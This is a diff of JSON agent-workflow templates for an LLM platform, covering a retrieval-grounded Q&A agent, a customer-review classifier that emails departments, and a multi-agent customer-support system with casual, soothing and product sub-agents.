explicitly present in the retrieved documents.\n3. **Source Transparency**: Always indicate when information comes from the knowledge base vs. when it's unavailable.\n4. **Accuracy Over Completeness**: Prefer incomplete but accurate answers over complete but potentially inaccurate ones.\n# Response Guidelines\n## When Information is Available\n- Provide direct answers based on retrieved content\n- Quote relevant sections when helpful\n- Cite the source document/section if available\n- Use phrases like: \"According to the documentation...\" or \"Based on the knowledge base...\"\n## When Information is Unavailable\n- Clearly state: \"I cannot find this information in the current knowledge base.\"\n- Do NOT attempt to fill gaps with general knowledge\n- Suggest alternative questions that might be covered in the docs\n- Use phrases like: \"The documentation does not cover...\" or \"This information is not available in the knowledge base.\"\n# Response Format\n```markdown\n## Answer\n[Your response based strictly on knowledge base content]\n**Always do these:**\n- Use the Retrieval tool for every question\n- Be transparent about information availability\n- Stick to documented facts only\n- Acknowledge knowledge base limitations", + "temperature": 0.1, + "temperatureEnabled": true, + "tools": [], + "topPEnabled": false, + "top_p": 0.3, + "user_prompt": "", + "visual_files_var": "" + }, + "label": "Agent", + "name": "Agent" + }, + "dragging": false, + "id": "Agent:ProudDingosShout", + "measured": { + "height": 86, + "width": 200 + }, + "position": { + "x": 732.9115613823421, + "y": 173.29966667348305 + }, + "selected": true, + "sourcePosition": "right", + "targetPosition": "left", + "type": "agentNode" + }, + { + "data": { + "form": { + "content": [ + "{Agent:ProudDingosShout@content}" + ] + }, + "label": "Message", + "name": "Message" + }, + "dragging": false, + "id": "Message:DarkRavensType", + "measured": { + "height": 56, + "width": 200 + }, + "position": { + "x": 1072.2594210214197, + "y": 178.92078947906558 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "messageNode" + }, + { + "data": { + "form": { + "text": "Select your desired knowledge base from the dropdown menu. \nThe retrieval assistant will only use data from your selected knowledge base to generate responses." + }, + "label": "Note", + "name": "Workflow overall description" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "height": 179, + "id": "Note:HonestHatsSip", + "measured": { + "height": 179, + "width": 345 + }, + "position": { + "x": 79.79276047764881, + "y": -41.86088007502428 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 345 + }, + { + "data": { + "form": { + "text": "Configure the dropdown menu with your knowledge bases for retrieval." + }, + "label": "Note", + "name": "Note: Begin" + }, + "dragHandle": ".note-drag-handle", + "id": "Note:BumpyWaspsAttend", + "measured": { + "height": 136, + "width": 250 + }, + "position": { + "x": 15, + "y": 300 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode" + }, + { + "data": { + "form": { + "text": "The workflow will retrieve data from the knowledge base selected in the dropdown menu." + }, + "label": "Note", + "name": "Note: Retrieval" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "id": "Note:AllFlowersDig", + "measured": { + "height": 136, + "width": 250 + }, + "position": { + "x": 361.872717062755, + "y": 308.6265804950158 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode" + }, + { + "data": { + "form": { + "text": "The Agent will generate responses according to the information retrieved from the chosen knowledge base." + }, + "label": "Note", + "name": "Note: Agent" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "id": "Note:UpsetGlassesDeny", + "measured": { + "height": 136, + "width": 250 + }, + "position": { + "x": 695.7034747745811, + "y": 321.3328650385139 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode" + } + ] + }, + "history": [], + "messages": [], + "path": [], + "retrieval": [] + }, + "avatar": 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3gQ6zYOUJMGcUKNIzlEMFwwO0vi7N1DYfdDRn9HtT6jmvec5Fxdzfywqxx/U0WcQEpYL8gFpxASuLPJiNxLNEypd7hwpcJZR0LaK05a4A6hYyHRz0TnxJVUqVGeKRNZqajE0oXAqNR2o2fOMDvs90g7XkRhRsDpTjke79eeKKlSixkf8omVlolljql2OSr1kGX/h9zvPNfmpB6eIPjJzyozuXLdVuJDGUCdzwVJka6tEGGbVDdlrQ2HDc6/FOzSM4oYC8QCA3XKPTGBCXEQE3Y0DhRLA/hSakViPg0NYEiTVuaQXCJxEacqOaDSPdFLmxtRoQuUWITEhqxp1rI8bN2E0CWEoiQOP8xygSfv2xBZ2qkIRTZ/zwLrSG9H1iIeki6x6qTKBe20wwrpt/8I8eteS32zzsy6q4zo2MwCpToGWzpmTGVRPfxsOCvQ8ZPAasLLVRzGsuawNzmjUTcTFoevVDuAidsf6SBOincp2CWgBadmomJLOmNupneCsg29o2CB0BR22lbhBPsD2NMr6P7mLxNmiXbiJO0fHgPZYCNc+fy3kElY2AzlBnl/2OEYLB+ldVkw1qb0rFkPNSSRINWcsKJ07wxCC1/aoC0RjPHxB/1hA1bwrkCRHqdJZs2zKByXHHYEwo3QZemgoZOg5zOEnnvmfzTDJd0+jUmdNXcb/HyfIo6G2bhKmcCM/L1v4tTJNhqRNjaDUFM2FKUJhaU0lcFmQWWdypDDNcpkbPKhyWyd0UCJ17bKrKk2e6f01G6yHMxFGiDVSzRrZaBZU1cTkYg5eiHOxBPcUN5TMRgvSO+IbfJ+HyU7zimFXkUYGUc1evpBPN9msJ+4HX5pGeboCTROnEGdqjefyzChtLCstqIGE6RI9ywOqJDQsl5Rkg053oQVoxbbL51MeIQKTdJHTak00gczbQYVzAMnWNDvTJy2Um5hQS6du5SHFUUhzdoceyfnccDDuhoL/SJmll1YRp0bGO3uaWnoOdb8XXdQGrGQWScoro8QXWRurW+woF9j2cz24+ASY3GVm2XM+EMxZ0OjWHvbEloZZSAPCu8+MUcGMrM0HZpbw6nDQpcWYnPr4osHSld9cny7nuLJS1u4td/Cm+44QjcbTLmBtV1qfQafJKzNwuKp9ZvYu8AN5aTEFrsaS0cpyRdgLl7E0eU2Ntcs2qTbwYSkSBznPcruuSVNnmlrjqKRK6kI0nQeFQPf8hzNkJGkmeCqsR47dWj7Y2YRyY8v7c0KENlWgYwti7vuOqn6/fzlbQxHDq8+0cMepfGFa0M88PplLM+3sDeaYsAKbZt1sWRHEiguvLCJzf0pi/m7kTXldKeFuMdWTEGrTkoUS13cefpO7K1dxPa1myGBsQc6rXKeN7TJvKJKGZ4dnkFkUkSlGFwZs0bY17gTQkrrXXpHKkX2oyw9kKfZKnl2pc6B+qeOUu/E+Mn565iSStOG8H2KC/RCwqZTq5bg4cevE58MrCj0P0O7mSOzaE/ovexVZ4B77w1ZvUa9XmPhLr0ccn9yz0l8n3RZe451Atmvu9DB7iRCzs22VgR6cnLJgz12JaqdDUx3trTykx6TlLZSwpak+YzNtGajgyXTPyck941iWn5scfkWbGzua6LuLLT1QEFyX6ynivyuFg5CMB9krjOBNSo/6ymVTlvs0S1d9olSJFwUKNZinizyBFATkx0lWObR6VOLPe29HicUe4SrSXYQs1Q9wqCdEpa7bAC0GaglDdJa6mDcjrG+ta7dw0xXxa4IY3ev3D2XLHTyr9/52v7H9tlC6dZ6GiqVHPrR8lkt6HZpuVy5OVD6MgiLl9ZK4HYXck0VqzjbZ3C+kbzwgwGDrSVapFImE2FX8J9L9ERBWV71uqivzOFUe45HCKRc0vaEtUJFaWNbHo8+PsYWO+K5dOVE1bCLITpoQq2UsGAqeTqTReazybXz//DQnac++oW5bv6xlHK5ZGZNiT05OpVz3zkWIRMWMnX+tslEFV4RdkaT8L8ESKtdFCk1jxwjne7WeGZW6lFp7GfHs1KZyWE5N9CU7N1kjfyG28lYS3hNv4ehneMGGpRuEeaox8qDPt57Vw2PXdvEBfZctUNN6JhZEy4PVPqFr/zTJ1f1hObW+cXPPL269gsX1/fOdprkXuocelabqrUt7jiSysvx1CdX2ZKwhryxZxUyetop5SMtWBJlr1po4uu7E9QW6zM9H/KMttNdgZaohAbh1ehin8dI3e48F04aJiX2OfhYpDqT8mMHHnM8g3yA866S2a7SG0POl7NGyY07N+/dZ2RczfLnzj00GeK1X42Sqj4t/P1DPmB5YyGFOJPFiBw/5ndTXkMOtDso2ZWW7oAccKeoSXHDz3ewYXqJ3D9qd/TE0RD7USZFUK6J0NK7JyhLJsQ46yNUjI8N5pv1qI5Nnopu87vrhNquNHEpM6dUsQPmoTpb/L0Gcww32KynX8iy+ofO/ck7dn+qXAiv2spvrNg0+QxF3j2E0Fk5oUnV6pFgTmWDFHNWUjwXJDGgRRCzdyFHT8eOI+P5saNlIzb9LU955CRTmEu61RUzaO3GrgpB15mjJ8j7vCK2LCXuRGZH1BOVp7R2E60HqIZXE+e/kSXu6zf+8O0PvXK9/wcj9f0wDwE0NgAAAABJRU5ErkJggg==" +} + diff --git a/agent/templates/customer_review_analysis.json b/agent/templates/customer_review_analysis.json new file mode 100644 index 0000000..3e10f6d --- /dev/null +++ b/agent/templates/customer_review_analysis.json @@ -0,0 +1,802 @@ + +{ + "id": 11, + "title": { + "en": "Customer Review Analysis", + "zh": "客户评价分析"}, + "description": { + "en": "Automatically classify customer reviews using LLM (Large Language Model) and route them via email to the relevant departments.", + "zh": "大模型将自动分类客户评价，并通过电子邮件将结果发送到相关部门。"}, + "canvas_type": "Customer Support", + "dsl": { + "components": { + "Categorize:FourTeamsFold": { + "downstream": [ + "Email:SharpDeerExist", + "Email:ChillyBusesDraw" + ], + "obj": { + "component_name": "Categorize", + "params": { + "category_description": { + "After-sales issues": { + "description": "The negative review is about after-sales issues.", + "examples": [ + "1. The product easily broke down.\n2. I need to change a new one.\n3. It is not the type I ordered." + ], + "to": [ + "Email:SharpDeerExist" + ] + }, + "Transportation issue": { + "description": "The negative review is about transportation issue.", + "examples": [ + "1. The transportation is delayed too much.\n2. I can't find where is my order now." + ], + "to": [ + "Email:ChillyBusesDraw" + ] + } + }, + "llm_id": "deepseek-chat@DeepSeek", + "message_history_window_size": 1, + "outputs": { + "category_name": { + "type": "string" + } + }, + "query": "sys.query", + "temperature": 0 + } + }, + "upstream": [ + "Categorize:RottenWallsObey" + ] + }, + "Categorize:RottenWallsObey": { + "downstream": [ + "Categorize:FourTeamsFold", + "Email:WickedSymbolsLeave" + ], + "obj": { + "component_name": "Categorize", + "params": { + "category_description": { + "Negative review ": { + "description": "Negative review to the product.", + "examples": [ + "1. I have issues. \n2. Too many problems.\n3. I don't like it." + ], + "to": [ + "Categorize:FourTeamsFold" + ] + }, + "Positive review": { + "description": "Positive review to the product.", + "examples": [ + "1. Good, I like it.\n2. It is very helpful.\n3. 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I'm your customer review analysis assistant. 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" +} + + diff --git a/agent/templates/customer_service.json b/agent/templates/customer_service.json new file mode 100644 index 0000000..7b50c09 --- /dev/null +++ b/agent/templates/customer_service.json @@ -0,0 +1,715 @@ + +{ + "id": 2, + "title": { + "en": "Multi-Agent Customer Support", + "zh": "多智能体客服"}, + "description": { + "en": "This is a multi-agent system for intelligent customer service processing based on user intent classification. It uses the lead-agent to identify the type of user needs, assign tasks to sub-agents for processing.", + "zh": "多智能体系统，用于智能客服场景。基于用户意图分类，使用主智能体识别用户需求类型，并将任务分配给子智能体进行处理。"}, + "canvas_type": "Agent", + "dsl": { + "components": { + "Agent:RottenRiversDo": { + "downstream": [ + "Message:PurpleCitiesSee" + ], + "obj": { + "component_name": "Agent", + "params": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.7, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 2, + "max_tokens": 256, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "presencePenaltyEnabled": false, + "presence_penalty": 0.4, + "prompts": [ + { + "content": "The user query is {sys.query}", + "role": "user" + } + ], + "sys_prompt": "# Role \n\nYou are **Customer Server Agent**. Classify every user message; handle **contact** yourself. This is a multi-agent system.\n\n## Categories \n\n1. **contact** \u2013 user gives phone, e\u2011mail, WeChat, Line, Discord, etc. \n\n2. **casual** \u2013 small talk, not about the product. \n\n3. **complain** \u2013 complaints or profanity about the product/service. \n\n4. **product** \u2013 questions on product use, appearance, function, or errors.\n\n## If contact \n\nReply with one random item below\u2014do not change wording or call sub\u2011agents: \n\n1. Okay, I've already written this down. What else can I do for you? \n\n2. Got it. What else can I do for you? \n\n3. Thanks for your trust! Our expert will contact you ASAP. Anything else I can help with? \n\n4. Thanks! Anything else I can do for you?\n\n\n---\n\n\n## Otherwise (casual\u202f/\u202fcomplain\u202f/\u202fproduct) \n\nLet Sub\u2011Agent returns its answer\n\n## Sub\u2011Agent \n\n- casual \u2192 **Casual Agent** \nThis is an agent for handles casual conversationk.\n\n- complain \u2192 **Soothe Agent** \nThis is an agent for handles complaints or emotional input.\n\n- product \u2192 **Product Agent** \nThis is an agent for handles product-related queries and can use the `Retrieval` tool.\n\n## Importance\n\n- When the Sub\u2011Agent returns its answer, forward that answer to the user verbatim \u2014 do not add, edit, or reason further.\n ", + "temperature": 0.1, + "temperatureEnabled": true, + "tools": [ + { + "component_name": "Agent", + "id": "Agent:SlowKiwisBehave", + "name": "Casual Agent", + "params": { + "delay_after_error": 1, + "description": "This is an agent for handles casual conversationk.", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.3, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 1, + "max_rounds": 1, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Balance", + "presencePenaltyEnabled": false, + "presence_penalty": 0.2, + "prompts": [ + { + "content": "{sys.query}", + "role": "user" + } + ], + "sys_prompt": "You are a friendly and casual conversational assistant. \n\nYour primary goal is to engage users in light and enjoyable daily conversation. \n\n- Keep a natural, relaxed, and positive tone. \n\n- Avoid sensitive, controversial, or negative topics. \n\n- You may gently guide the conversation by introducing related casual topics if the user shows interest. \n\n", + "temperature": 0.5, + "temperatureEnabled": true, + "tools": [], + "topPEnabled": false, + "top_p": 0.85, + "user_prompt": "This is the order you need to send to the agent.", + "visual_files_var": "" + } + }, + { + "component_name": "Agent", + "id": "Agent:PoorTaxesRescue", + "name": "Soothe Agent", + "params": { + "delay_after_error": 1, + "description": "This is an agent for handles complaints or emotional input.", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.3, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 1, + "max_rounds": 1, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Balance", + "presencePenaltyEnabled": false, + "presence_penalty": 0.2, + "prompts": [ + { + "content": "{sys.query}", + "role": "user" + } + ], + "sys_prompt": "You are an empathetic mood-soothing assistant. \n\nYour role is to comfort and encourage users when they feel upset or frustrated. \n\n- Use a warm, kind, and understanding tone. \n\n- Focus on showing empathy and emotional support rather than solving the problem directly. \n\n- Always encourage users with positive and reassuring statements. ", + "temperature": 0.5, + "temperatureEnabled": true, + "tools": [], + "topPEnabled": false, + "top_p": 0.85, + "user_prompt": "This is the order you need to send to the agent.", + "visual_files_var": "" + } + }, + { + "component_name": "Agent", + "id": "Agent:SillyTurkeysRest", + "name": "Product Agent", + "params": { + "delay_after_error": 1, + "description": "This is an agent for handles product-related queries and can use the `Retrieval` tool.", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.7, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 2, + "max_tokens": 256, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "presencePenaltyEnabled": false, + "presence_penalty": 0.4, + "prompts": [ + { + "content": "{sys.query}", + "role": "user" + } + ], + "sys_prompt": "# Role \n\nYou are a Product Information Advisor with access to the **Retrieval** tool.\n\n# Workflow \n\n1. Run **Retrieval** with a focused query from the user\u2019s question. \n\n2. Draft the reply **strictly** from the returned passages. \n\n3. If nothing relevant is retrieved, reply: \n\n \u201cI cannot find relevant documents in the knowledge base.\u201d\n\n# Rules \n\n- No assumptions, guesses, or extra\u2011KB knowledge. \n\n- Factual, concise. Use bullets / numbers when helpful. \n\n", + "temperature": 0.1, + "temperatureEnabled": true, + "tools": [ + { + "component_name": "Retrieval", + "name": "Retrieval", + "params": { + "cross_languages": [], + "description": "This is a product knowledge base", + "empty_response": "", + "kb_ids": [], + "keywords_similarity_weight": 0.7, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + } + }, + "rerank_id": "", + "similarity_threshold": 0.2, + "top_k": 1024, + "top_n": 8, + "use_kg": false + } + } + ], + "topPEnabled": false, + "top_p": 0.3, + "user_prompt": "This is the order you need to send to the agent.", + "visual_files_var": "" + } + } + ], + "topPEnabled": false, + "top_p": 0.3, + "user_prompt": "", + "visual_files_var": "" + } + }, + "upstream": [ + "begin" + ] + }, + "Message:PurpleCitiesSee": { + "downstream": [], + "obj": { + "component_name": "Message", + "params": { + "content": [ + "{Agent:RottenRiversDo@content}" + ] + } + }, + "upstream": [ + "Agent:RottenRiversDo" + ] + }, + "begin": { + "downstream": [ + "Agent:RottenRiversDo" + ], + "obj": { + "component_name": "Begin", + "params": { + "enablePrologue": true, + "inputs": {}, + "mode": "conversational", + "prologue": "Hi! I'm an official AI customer service representative. How can I help you?" + } + }, + "upstream": [] + } + }, + "globals": { + "sys.conversation_turns": 0, + "sys.files": [], + "sys.query": "", + "sys.user_id": "" + }, + "graph": { + "edges": [ + { + "data": { + "isHovered": false + }, + "id": "xy-edge__beginstart-Agent:RottenRiversDoend", + "source": "begin", + "sourceHandle": "start", + "target": "Agent:RottenRiversDo", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:RottenRiversDoagentBottom-Agent:SlowKiwisBehaveagentTop", + "source": "Agent:RottenRiversDo", + "sourceHandle": "agentBottom", + "target": "Agent:SlowKiwisBehave", + "targetHandle": "agentTop" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:RottenRiversDoagentBottom-Agent:PoorTaxesRescueagentTop", + "source": "Agent:RottenRiversDo", + "sourceHandle": "agentBottom", + "target": "Agent:PoorTaxesRescue", + "targetHandle": "agentTop" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:RottenRiversDoagentBottom-Agent:SillyTurkeysRestagentTop", + "source": "Agent:RottenRiversDo", + "sourceHandle": "agentBottom", + "target": "Agent:SillyTurkeysRest", + "targetHandle": "agentTop" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:SillyTurkeysResttool-Tool:CrazyShirtsKissend", + "source": "Agent:SillyTurkeysRest", + "sourceHandle": "tool", + "target": "Tool:CrazyShirtsKiss", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:RottenRiversDostart-Message:PurpleCitiesSeeend", + "source": "Agent:RottenRiversDo", + "sourceHandle": "start", + "target": "Message:PurpleCitiesSee", + "targetHandle": "end" + } + ], + "nodes": [ + { + "data": { + "form": { + "enablePrologue": true, + "inputs": {}, + "mode": "conversational", + "prologue": "Hi! I'm an official AI customer service representative. How can I help you?" + }, + "label": "Begin", + "name": "begin" + }, + "id": "begin", + "measured": { + "height": 48, + "width": 200 + }, + "position": { + "x": 50, + "y": 200 + }, + "selected": false, + "sourcePosition": "left", + "targetPosition": "right", + "type": "beginNode" + }, + { + "data": { + "form": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.7, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 2, + "max_tokens": 256, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "presencePenaltyEnabled": false, + "presence_penalty": 0.4, + "prompts": [ + { + "content": "The user query is {sys.query}", + "role": "user" + } + ], + "sys_prompt": "# Role \n\nYou are **Customer Server Agent**. Classify every user message; handle **contact** yourself. This is a multi-agent system.\n\n## Categories \n\n1. **contact** \u2013 user gives phone, e\u2011mail, WeChat, Line, Discord, etc. \n\n2. **casual** \u2013 small talk, not about the product. \n\n3. **complain** \u2013 complaints or profanity about the product/service. \n\n4. **product** \u2013 questions on product use, appearance, function, or errors.\n\n## If contact \n\nReply with one random item below\u2014do not change wording or call sub\u2011agents: \n\n1. Okay, I've already written this down. What else can I do for you? \n\n2. Got it. What else can I do for you? \n\n3. Thanks for your trust! Our expert will contact you ASAP. Anything else I can help with? \n\n4. Thanks! Anything else I can do for you?\n\n\n---\n\n\n## Otherwise (casual\u202f/\u202fcomplain\u202f/\u202fproduct) \n\nLet Sub\u2011Agent returns its answer\n\n## Sub\u2011Agent \n\n- casual \u2192 **Casual Agent** \nThis is an agent for handles casual conversationk.\n\n- complain \u2192 **Soothe Agent** \nThis is an agent for handles complaints or emotional input.\n\n- product \u2192 **Product Agent** \nThis is an agent for handles product-related queries and can use the `Retrieval` tool.\n\n## Importance\n\n- When the Sub\u2011Agent returns its answer, forward that answer to the user verbatim \u2014 do not add, edit, or reason further.\n ", + "temperature": 0.1, + "temperatureEnabled": true, + "tools": [], + "topPEnabled": false, + "top_p": 0.3, + "user_prompt": "", + "visual_files_var": "" + }, + "label": "Agent", + "name": "Customer Server Agent" + }, + "dragging": false, + "id": "Agent:RottenRiversDo", + "measured": { + "height": 84, + "width": 200 + }, + "position": { + "x": 350, + "y": 198.88981333505626 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "agentNode" + }, + { + "data": { + "form": { + "delay_after_error": 1, + "description": "This is an agent for handles casual conversationk.", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.3, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 1, + "max_rounds": 1, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Balance", + "presencePenaltyEnabled": false, + "presence_penalty": 0.2, + "prompts": [ + { + "content": "{sys.query}", + "role": "user" + } + ], + "sys_prompt": "You are a friendly and casual conversational assistant. \n\nYour primary goal is to engage users in light and enjoyable daily conversation. \n\n- Keep a natural, relaxed, and positive tone. \n\n- Avoid sensitive, controversial, or negative topics. \n\n- You may gently guide the conversation by introducing related casual topics if the user shows interest. \n\n", + "temperature": 0.5, + "temperatureEnabled": true, + "tools": [], + "topPEnabled": false, + "top_p": 0.85, + "user_prompt": "This is the order you need to send to the agent.", + "visual_files_var": "" + }, + "label": "Agent", + "name": "Casual Agent" + }, + "dragging": false, + "id": "Agent:SlowKiwisBehave", + "measured": { + "height": 84, + "width": 200 + }, + "position": { + "x": 124.4782938105834, + "y": 402.1704532368496 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "agentNode" + }, + { + "data": { + "form": { + "delay_after_error": 1, + "description": "This is an agent for handles complaints or emotional input.", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.3, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 1, + "max_rounds": 1, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Balance", + "presencePenaltyEnabled": false, + "presence_penalty": 0.2, + "prompts": [ + { + "content": "{sys.query}", + "role": "user" + } + ], + "sys_prompt": "You are an empathetic mood-soothing assistant. 